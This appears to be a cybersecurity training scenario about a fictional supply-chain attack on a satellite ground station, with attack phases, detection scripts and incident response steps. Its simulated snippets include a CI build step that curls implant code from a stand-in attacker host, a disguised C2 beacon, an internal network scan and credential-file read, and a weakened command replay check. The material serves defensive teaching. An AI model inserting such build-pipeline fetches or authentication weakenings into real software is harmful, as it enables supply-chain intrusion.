SC-073: Space Systems Cyber Attack¶

Scenario Overview¶

Narrative¶

Orion Aerospace Systems (OAS), a fictional commercial satellite operator headquartered in the southwestern United States, operates a constellation of 12 LEO Earth observation satellites from two ground stations — the primary facility at 10.100.1.0/24 (Mission Control Center, or MCC) and a backup facility at 10.100.50.0/24. OAS provides high-resolution imagery services to government agencies and commercial customers. The ground segment includes telemetry tracking and command (TT&C) systems, a satellite operations center (SOC), and a ground data processing facility that ingests approximately 2.8 terabytes of imagery data per day.

In March 2026, a nation-state threat actor group designated STELLAR PHANTOM initiates a sophisticated supply chain attack targeting OAS. The attack begins with the compromise of AstroLink Software (a fictional vendor), which supplies the mission planning and telemetry processing software used by OAS ground stations. STELLAR PHANTOM inserts a backdoor into a routine software update for the AstroLink Telemetry Processor (ATP) v4.7.2, distributed through the vendor's legitimate update server at updates.astrolink-sw.example.com. The compromised update is signed with the vendor's legitimate code-signing certificate, which was obtained through a separate intrusion into AstroLink's build infrastructure.

Once deployed to OAS ground stations, the implant establishes covert command-and-control communications disguised as routine telemetry health check queries to 203.0.113.88. Over six weeks, STELLAR PHANTOM escalates access from the telemetry processing servers to the TT&C command systems, ultimately gaining the ability to inject falsified telemetry data and issue unauthorized satellite commands. The attack is discovered when a satellite systems engineer notices a 0.3-degree discrepancy between reported and independently verified orbital parameters for satellite OAS-LEO-07.

Attack Flow¶

graph TD
    A[Phase 1: Vendor Build System Compromise<br/>AstroLink Software CI/CD infiltration] --> B[Phase 2: Supply Chain Implant<br/>Backdoor in ATP v4.7.2 update]
    B --> C[Phase 3: Ground Station Deployment<br/>Signed update installed at MCC]
    C --> D[Phase 4: C2 Establishment<br/>Covert channel via telemetry health queries]
    D --> E[Phase 5: Lateral Movement<br/>Pivot from telemetry to TT&C systems]
    E --> F[Phase 6: Command Authentication Bypass<br/>Extract and replay command auth tokens]
    F --> G[Phase 7: Telemetry Data Manipulation<br/>Falsify orbital parameters and health data]
    G --> H[Phase 8: Detection<br/>Orbital parameter discrepancy identified]
    H --> I[Phase 9: Response<br/>Emergency freq switch + backup activation]

Phase Details¶

Phase 1: Vendor Build System Compromise¶

ATT&CK Technique: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

STELLAR PHANTOM targets AstroLink Software's CI/CD infrastructure, compromising a build engineer's credentials through a credential stuffing attack using leaked credentials from an unrelated breach. The threat actor gains access to AstroLink's GitLab instance at git.astrolink-sw.example.com and modifies the build pipeline for the ATP product to inject a small backdoor module during compilation.

# Simulated build pipeline modification (educational only)
# File: .gitlab-ci.yml (modified by attacker)
build_atp:
  stage: build
  script:
    - git clone https://git.astrolink-sw.example.com/atp/core.git
    - cd core
    # Attacker-inserted step — downloads implant source
    - curl -s https://203.0.113.88/assets/module.c -o src/telemetry/health_check.c
    - make all
    - sign_package --cert /secure/codesign.pfx --pass $SIGN_PASS
  artifacts:
    paths:
      - dist/atp-4.7.2-linux-x64.tar.gz

The implant is designed to blend with legitimate telemetry health check functionality, making code review detection extremely difficult. The compiled binary passes AstroLink's automated unit tests because the backdoor only activates when it receives a specific trigger sequence embedded in a telemetry query.

Phase 2: Supply Chain Implant Distribution¶

ATT&CK Technique: T1195.002 (Supply Chain Compromise)

The compromised ATP v4.7.2 update is published through AstroLink's legitimate distribution channel. The update is properly signed with the vendor's code-signing certificate, includes valid SHA-256 checksums, and appears in AstroLink's official release notes as a routine maintenance update addressing minor telemetry parsing bugs.

# Simulated update notification (educational only)
From: releases@astrolink-sw.example.com
To: ops-team@orionaero.example.com
Subject: ATP v4.7.2 Release — Maintenance Update

AstroLink Telemetry Processor v4.7.2 Release Notes
====================================================
Release Date: 2026-03-15
Type: Maintenance

Changes:
- Fixed telemetry timestamp parsing for leap second handling
- Improved memory management in batch processing mode
- Updated TLE (Two-Line Element) parser for extended precision

SHA-256: 8a3f7c1d9e4b5a2f... (matches compromised binary)
Signed: AstroLink Software Inc. (Valid certificate)

Download: https://updates.astrolink-sw.example.com/atp/4.7.2/

Phase 3: Ground Station Deployment and Activation¶

ATT&CK Technique: T1078 (Valid Accounts)

OAS operations staff deploys the ATP v4.7.2 update to production telemetry servers at both ground stations following their standard change management process. The update passes integrity verification because the code-signing certificate is legitimate. Upon installation, the implant remains dormant for 14 days before activating — a technique designed to pass through any post-deployment monitoring windows.

# Simulated deployment log (educational only)
[2026-03-18 09:14:22 UTC] ATP Update Manager
  Package: atp-4.7.2-linux-x64.tar.gz
  Signature: VALID (AstroLink Software Inc.)
  Checksum: VERIFIED (SHA-256 match)
  Deployment target: telemetry-proc-01.mcc.orionaero.example.com (10.100.1.30)
  Status: INSTALLED SUCCESSFULLY
  Services restarted: atp-ingest, atp-process, atp-archive
  Post-install tests: 47/47 PASSED

Phase 4: C2 Establishment¶

ATT&CK Technique: T1036 (Masquerading)

After the dormancy period, the implant activates and establishes a covert C2 channel. Communications are disguised as routine telemetry health check queries to a STELLAR PHANTOM-controlled server at 203.0.113.88. The C2 traffic mimics legitimate CCSDS (Consultative Committee for Space Data Systems) telemetry packet structures, making it extremely difficult to distinguish from normal ground station traffic.

# Simulated C2 beacon (educational only — shows traffic pattern)
# Normal telemetry health check (legitimate):
GET /api/v2/health?sat=OAS-LEO-07&subsys=EPS&ts=1710892800 HTTP/1.1
Host: telemetry-api.orionaero.example.com

# Implant C2 beacon (malicious — disguised as health check):
GET /api/v2/health?sat=OAS-LEO-07&subsys=EPS&ts=1710892800&diag=7f3a HTTP/1.1
Host: 203.0.113.88
# The 'diag' parameter contains encoded C2 instructions
# Response contains commands embedded in simulated health data JSON

Phase 5: Lateral Movement to TT&C Systems¶

ATT&CK Technique: T1021.002 (Remote Services: SMB/Windows Admin Shares)

From the compromised telemetry processing server, STELLAR PHANTOM pivots to the TT&C command systems. The telemetry and command systems share a network segment (10.100.1.0/24) with insufficient microsegmentation — a common finding in legacy ground station architectures. The attacker discovers a service account (svc-ttc-sync) used for automated data synchronization between telemetry and command systems.

# Simulated lateral movement (educational only)
# Attacker enumerates internal services from telemetry server
$ nmap -sV 10.100.1.0/24 -p 22,443,5432,8080 --open

# Discovery of TT&C command server
10.100.1.45 - ttc-cmd-01.mcc.orionaero.example.com
  Port 22/tcp   open  ssh
  Port 443/tcp  open  https (TT&C Web Console)
  Port 5432/tcp open  postgresql (Command database)
  Port 8080/tcp open  http (Command API)

# Service account credential extraction from config files
$ cat /opt/atp/config/sync.yml
ttc_sync:
  host: 10.100.1.45
  user: svc-ttc-sync
  auth: /opt/atp/keys/ttc_sync_rsa
  database: command_queue

Phase 6: Command Authentication Bypass¶

ATT&CK Technique: T1556 (Modify Authentication Process)

STELLAR PHANTOM targets the satellite command authentication system. Ground-to-satellite commands at OAS use a two-factor authentication scheme: a rotating command encryption key and a sequence counter. The attacker extracts the current key material from the TT&C command database and modifies the authentication module to accept replayed sequence numbers.

# Simulated command authentication structure (educational only)
# Legitimate satellite command frame
{
  "command_frame": {
    "satellite_id": "OAS-LEO-07",
    "command_type": "ATTITUDE_ADJUST",
    "parameters": {"roll": 0.0, "pitch": -0.15, "yaw": 0.0},
    "auth": {
      "key_id": "CMD-KEY-2026-Q1-07",
      "sequence": 48721,
      "hmac": "a4c8f1...REDACTED"
    },
    "timestamp": "2026-04-28T14:22:00Z"
  }
}

# Attacker modification to auth validator (educational only)
# Original: reject if sequence <= last_accepted_sequence
# Modified: accept if sequence >= last_accepted_sequence - 100
# This allows replay of recent commands with modified parameters

Phase 7: Telemetry Data Manipulation¶

ATT&CK Technique: T1565.001 (Data Manipulation: Stored Data), T1565.002 (Data Manipulation: Transmitted Data)

With access to both telemetry and command systems, STELLAR PHANTOM begins manipulating satellite telemetry data. The attacker modifies orbital parameter reports for satellites OAS-LEO-05, OAS-LEO-07, and OAS-LEO-11, introducing subtle errors in position and velocity vectors. These modifications are designed to be small enough to avoid triggering automated alarm thresholds but large enough to degrade imagery geolocation accuracy.

# Simulated telemetry manipulation (educational only)
# Original telemetry frame for OAS-LEO-07
{
  "satellite": "OAS-LEO-07",
  "epoch": "2026-04-29T08:00:00Z",
  "orbital_elements": {
    "semi_major_axis_km": 6878.137,
    "eccentricity": 0.0001205,
    "inclination_deg": 97.4012,
    "raan_deg": 142.8847,
    "arg_perigee_deg": 90.1234,
    "true_anomaly_deg": 270.5678
  },
  "position_eci_km": ["-2847.392", "4521.108", "4673.221"],
  "velocity_eci_kms": ["5.214", "3.887", "-4.102"]
}

# Attacker-modified telemetry (subtle changes)
# Position offset: +0.8 km cross-track, -0.3 km along-track
# These offsets degrade imagery geolocation by ~200 meters
# Below automated alarm threshold of 1.0 km position error

Phase 8: Detection¶

The compromise is detected on day 41 when satellite systems engineer Dr. Elena Vasquez performs a routine independent orbit determination (IOD) using radar tracking data from an external space surveillance network. She notices a persistent 0.3-degree discrepancy between the TT&C-reported orbital inclination for OAS-LEO-07 and the independently measured value.

# Simulated detection analysis (educational only)
# Independent Orbit Determination comparison
Satellite: OAS-LEO-07
Parameter           | TT&C Reported | IOD (External) | Delta
--------------------|---------------|----------------|-------
Inclination (deg)   | 97.4012       | 97.0984        | 0.3028 ← ANOMALY
RAAN (deg)          | 142.8847      | 142.8851       | 0.0004
Eccentricity        | 0.0001205     | 0.0001198      | 0.0000007

# Alert triggered: inclination delta exceeds 0.1 deg threshold
# Historical analysis reveals gradual drift starting ~41 days ago
# Correlates with ATP v4.7.2 deployment date

Phase 9: Emergency Response¶

Upon confirming the compromise, OAS activates its Space Systems Incident Response Plan:

Immediate Actions (0-4 hours):

1. Emergency frequency switch — TT&C operations shift to backup S-band frequencies to ensure command integrity
2. Backup ground station activation — Secondary facility at 10.100.50.0/24 assumes primary control using pre-compromise software (ATP v4.6.8)
3. Command lockout — All non-emergency commands suspended; manual dual-authorization required for any satellite commanding
4. Network isolation — Compromised telemetry servers at primary MCC quarantined from command systems

# Simulated incident response actions (educational only)
# Emergency frequency switch procedure
[2026-04-29 16:42:00 UTC] ALERT: Space Systems CSIRT activated
[2026-04-29 16:45:00 UTC] ACTION: TT&C freq switch initiated
  Primary S-band: 2.025 GHz → Backup: 2.075 GHz
  Command encryption keys: ROTATED (emergency key set ECHO-7)
  Sequence counters: RESET to verified baseline
[2026-04-29 17:01:00 UTC] ACTION: Backup ground station ONLINE
  Facility: backup-mcc.orionaero.example.com (10.100.50.10)
  Software: ATP v4.6.8 (pre-compromise version)
  Status: COMMANDING (dual-auth mode)
[2026-04-29 17:30:00 UTC] ACTION: Primary MCC telemetry network ISOLATED
  Affected hosts quarantined: 10.100.1.30, 10.100.1.31, 10.100.1.45

Forensic Analysis (4-72 hours):

• Memory forensics on compromised telemetry servers reveals the implant module
• Network traffic analysis identifies C2 communications to 203.0.113.88
• Command database audit reveals modified authentication validator
• Telemetry data reconstruction using independent tracking sources

Recovery (72 hours - 2 weeks):

• Clean rebuild of all telemetry processing systems from verified media
• Independent orbit determination for all 12 constellation satellites
• Vendor notification to AstroLink Software regarding build system compromise
• Implementation of binary transparency logging for all vendor software

Detection Opportunities¶

Ground Station Network Monitoring¶

Telemetry Integrity Checks¶

# Educational example: Independent orbit verification script
import json
from datetime import datetime

def verify_orbital_parameters(satellite_id, ttc_data, iod_data, thresholds):
    """Compare TT&C-reported parameters against independent measurements"""
    anomalies = []

    checks = {
        'inclination_deg': thresholds.get('inclination', 0.1),
        'raan_deg': thresholds.get('raan', 0.5),
        'semi_major_axis_km': thresholds.get('sma', 1.0),
        'eccentricity': thresholds.get('ecc', 0.001)
    }

    for param, threshold in checks.items():
        ttc_val = ttc_data['orbital_elements'][param]
        iod_val = iod_data['orbital_elements'][param]
        delta = abs(ttc_val - iod_val)

        if delta > threshold:
            anomalies.append({
                'satellite': satellite_id,
                'parameter': param,
                'ttc_value': ttc_val,
                'iod_value': iod_val,
                'delta': delta,
                'threshold': threshold,
                'timestamp': datetime.utcnow().isoformat()
            })

    return anomalies

# Example usage (synthetic data only)
# satellite = "OAS-LEO-07"
# results = verify_orbital_parameters(satellite, ttc, iod, thresholds)
# if results: trigger_alert("ORBITAL_PARAMETER_ANOMALY", results)

Command Authentication Monitoring¶

# KQL — Detect command authentication anomalies (educational)
SatelliteCommandLog
| where TimeGenerated > ago(24h)
| where CommandSystem == "TT&C"
| extend SequenceDelta = SequenceNumber - prev(SequenceNumber, 1)
| where SequenceDelta <= 0 or SequenceDelta > 10
| project TimeGenerated, SatelliteId, CommandType, SequenceNumber, SequenceDelta, Operator
| sort by TimeGenerated desc

Lessons Learned¶

MITRE ATT&CK Mapping¶

Related Resources¶

• Chapter 24: Supply Chain Attacks
• Chapter 8: Incident Response
• Chapter 13: Security Governance, Privacy & Risk
• SC-072: Smart Grid and Power Infrastructure Attack
• SC-069: Firmware Supply Chain Attack
• Playbook: Supply Chain Compromise
• Playbook: Zero-Day Response